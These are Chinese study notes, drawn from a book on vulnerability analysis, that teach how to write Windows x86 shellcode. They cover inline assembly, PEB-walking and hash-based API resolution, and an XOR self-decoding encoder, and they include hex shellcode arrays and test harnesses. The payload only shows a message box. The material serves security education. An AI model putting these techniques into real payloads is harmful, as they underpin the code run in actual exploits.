整理自《0day安全:软件漏洞分析技术》第2版
系统:VMware安装的Window XP SP2
工具:vc++6.0, ollydbg, Dependency Walker, python
步骤:通过内联汇编__asm实现功能,再在OllyDbg中提取对应字节码,最后转化为shellcode。
例1:
该程序弹出一个对话框,点击确认后程序退出执行
用到的两个函数MessageBox和ExitProcesss的地址通过dependency walker人工计算
ExitProcesss地址=0x7c800000+0x0001caa2 = 0x7c81caa2 (MessageBoxA类似)
另外,程序运行默认会加载kernel32.dll和ntdll.dll,不会加载user32.dll。但要调用MessageBoxA函数,必须显示加载user32.dll到内存空间。
#include <stdio.h>
#include <windows.h>
int main()
{
HINSTANCE libHandle;
libHandle = LoadLibraryA("user32.dll");
_asm{
sub sp,0x440 //抬高栈空间
xor ebx,ebx //ebx置零
push ebx //字符串的结尾'\0'
push 0x216f6c6c //压入字符串"hello!",栈向低地址空间增长
push 0x65680000
lea eax,[esp+2] //esp+2指向字符串首地址
push ebx //压入MessageBoxA的四个参数
push eax
push eax
push ebx
mov eax,0x77d5050b //MessageBoxA address
call eax
push ebx
mov eax,0x7c81caa2 //ExitProcess address
call eax
}
return 0;
}
在ollydbg中查看其字节码,并复制
用python处理这些字节码得到shellcode(可利用split函数和join()函数),最后shellcode测试程序如下
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x66\x81\xEC\x40\x04\x33\xDB\x53\x68\x6C\x6C\x6F\x21\x68\x00\x00\x68\x65\x8D\x44\x24\x02\x53\x50\x50\x53\xB8\x0B\x05\xD5\x77\xFF\xD0\x53\xB8\xA2\xCA\x81\x7C\xFF\xD0";
int main()
{
HINSTANCE libHandle;
libHandle = LoadLibraryA("user32.dll");
_asm{
lea eax,shellcode
push eax
ret
}
return 0;
}
例2:
功能和上面一样,但为了使shellcode更通用,在shellcode里利用LoadLibrary函数加载user32.dll,并且遍历user32.dll的导出函数表,然后获取MessageBoxA和ExitProcess的地址。
#include <stdio.h>
//#include <windows.h>
int main()
{
//HINSTANCE libHandle;
//libHandle = LoadLibraryA("user32.dll");
_asm{
CLD //DF标志位置零
push 0x1E380A6A //压入MessageBoxA的hash值
push 0x4FD18963 //压入ExitProcess的hash值
push 0x0C917432 //压入LoadLibrary的hash值
mov esi,esp //esi指向第一函数也即LoadLibrary的hash
lea edi,[esi-0xc] //edi指向的栈内空间将要依次写入上面三个函数的地址
;make some stack space
xor ebx,ebx
mov bh,0x4
sub esp,ebx
;push "user32"
mov bx,0x3233
push ebx
push 0x72657375
push esp //esp指向字符串"user32"首地址
xor edx,edx
;find base addr of kernel32.dll
mov ebx,fs:[edx+0x30]
mov ecx,[ebx+0x0c]
mov ecx,[ecx+0x1c]
mov ecx,[ecx]
mov ebp,[ecx+0x8] //此时ebp中存储着kernel32.dll的基址
find_lib_functions:
lods dword ptr [esi] //读取esi指向的函数hash到eax
cmp eax, 0x1E380A6A
jnz find_functions
xchg eax, ebp
call dword ptr [edi-0x8]
xchg eax, ebp
find_functions:
pushad //压入8个通用寄存器的值,顺序为eax,ecx,edx,ebx,esp,ebp,esi,edi
mov eax, dword ptr [ebp+0x3C]
mov ecx, dword ptr [ebp+eax+0x78]
add ecx, ebp //ecx=user32.dll导入表的绝对地址
mov ebx, dword ptr [ecx+0x20]
add ebx, ebp //ebx=user32.dll导入表中的函数名称表的绝对地址
xor edi, edi
next_function_loop: //依次取函数名称,edi计数
inc edi
mov esi, dword ptr [ebx+edi*4]
add esi, ebp
cdq
hash_loop: //对每个字节循环右移7位并累加的方式计算hash值
movsx eax, byte ptr [esi]
cmp al, ah
jz compare_hash
ror edx, 7
add edx, eax //edx存储最终计算出的hash值
inc esi
jmp hash_loop
compare_hash:
cmp edx, dword ptr [esp+0x1C] //esp+0x1C指向前面pushad压入的eax的值,为当前函数hash
jnz next_function_loop
mov ebx, dword ptr [ecx+0x24]
add ebx, ebp
mov di, word ptr [ebx+edi*2]
mov ebx, dword ptr [ecx+0x1C]
add ebx, ebp
add ebp, dword ptr [ebx+edi*4] //ebp=求得的函数地址
xchg eax, ebp //交换eax和ebp的值
pop edi
stosd //将求得的函数地址写入edi指向的栈空间,并将edi加4
push edi
popad 弹出8个通用寄存器的值
cmp eax, 0x1E380A6A
jnz find_lib_functions
function_call:
xor ebx, ebx
push ebx //压入字符串"hello!!!"
push 0x2121216f
push 0x6c6c6568
mov eax, esp
push ebx
push eax
push eax
push ebx
call [edi-0x4]
push ebx
call [edi-0x8]
}
return 0;
}
同样在ollydbg里运行上面程序获取对应的字节码,然后用python处理得到对应的shellcode,测试程序如下:
#include <stdio.h>
char shellcode[]=
//"\x66\x81\xEC\x40\x04\x33\xDB\x53\x68\x6C\x6C\x6F\x21\x68\x00\x00\x68\x65\x8D\x44\x24\x02\x53\x50\x50\x53\xB8\x0B\x05\xD5\x77\xFF\xD0\x53\xB8\xA2\xCA\x81\x7C\xFF\xD0";
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x6F\x21\x21\x21\x68\x68\x65\x6C\x6C\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x33\xC0";
int main()
{
_asm{
lea eax,shellcode
push eax
ret
}
return 0;
}
对于程序的流程不太懂,可以用ollydbg把执行的过程走一遍,还可以参考链接 http://bbs.pediy.com/showthread.php?t=57128
例3
功能和例1一样,只不过对shellcode进行了编码,即对原始shellcode的每一字节,和我们提供的key进行异或运算。这里key=44。
对shellcode编码可以过滤掉其中的’\x00‘,因为它可能在某些植入shellcode的场合提前截断shellcode。更多的好的编码算法可以参考MetaSploit。
由于编码了shellcode,所以在定位到shellcode执行时首先要解码还原出原始的shellcode。这个解码部分也集成在当前shellcode中。
解码部分占20字节(0x14),所以先add eax,0x14,让eax指向真正的要解码的部分,然后逐字节与0x44异或,遇到结束字节'\x90’就停止。
#include <stdio.h>
unsigned char shellcode[]=
"\x83\xc0\x14" //add eax,0x14
"\x33\xC9" //xor ecx,ecx
"\x8A\x1C\x08" //mov bl,[eax+ecx] decode_loop
"\x80\xF3\x44" //xor bl,0x44
"\x88\x1C\x08" //mov [eax+ecx],bl
"\x41" //inc ecx
"\x80\xFB\x90" //cmp bl,0x90
"\x75\xF1" //jne decode_loop
"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48\xcf\xb0\xc9\x3a"
"\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17\x2c\x31\x37\x21\x36\x10\x77\x96"
"\x20\xcf\x1e\x74\xcf\x0f\x48\xcf\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c"
"\x5a\x31\x41\xd1\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e\x80\x30\x4c\x85"
"\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31\xa0\xcf\x1d\x60\x47\x99\x22\xcf"
"\x78\x3f\xcf\x1d\x58\x47\x99\x47\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a"
"\x31\xed\x77\x9f\x17\x2c\x2b\x65\x65\x65\x2c\x2c\x21\x28\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc\x77\x84\xd4";
int main()
{
_asm{
lea eax,shellcode
push eax
ret
}
return 0;
}
例4
对于例2的程序,以下是适合window7的一个版本:
#include <windows.h>
#include <stdio.h>
void main()
{
_asm
{
CLD
;store hash
push 0x1e380a6a
push 0x4fd18963
push 0x0c917432
mov esi,esp
lea edi,[esi-0xc]
;make some stack space
xor ebx,ebx
mov bh,0x04
sub esp,ebx
;push apointer to"user32" onto stack
mov bx,0x3233;
push ebx
push 0x72657375
push esp
xor edx,edx
;find base addr of kernel32.dll
/*mov ebx,fs:[edx+0x30]
mov ecx,[ebx+0x0c]
mov ecx,[ecx+0x1c]
mov ecx,[ecx]
mov ebp,[ecx+0x08]*/
push eax
push esi
push edi
xor ecx,ecx
mov eax,fs:[30h] ;得到PEB结构地址
mov ebx,eax
mov eax,[eax + 0ch] ;得到PEB_LDR_DATA结构地址
mov esi,[eax + 1ch]
push eax;
next_module:
mov eax,[esi+08h] ;取列表中模块基址到eax
mov edi,[esi+20h] ;取所属模块的字串首地址到EDI
mov esi,[esi]
cmp [edi+12*2],cx ;cx=0 比较字串的尾部是否为0
jnz next_module ;继续枚举
mov ebp,eax ;eax保存着kernel32的基址
pop ecx
pop edi
pop esi
pop eax
find_lib_functions:
lodsd
cmp eax,0x1e380a6a
jne find_functions
xchg eax,ebp
call [edi-0x8]
xchg eax,ebp
find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi
next_function_loop:
inc edi
mov esi,[ebx+edi*4]
add esi,ebp
cdq
hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
;table
add ebx,ebp
mov di,[ebx+2* edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx+4*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx
push 0x2121216f
push 0x6c6c6568
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop
}
}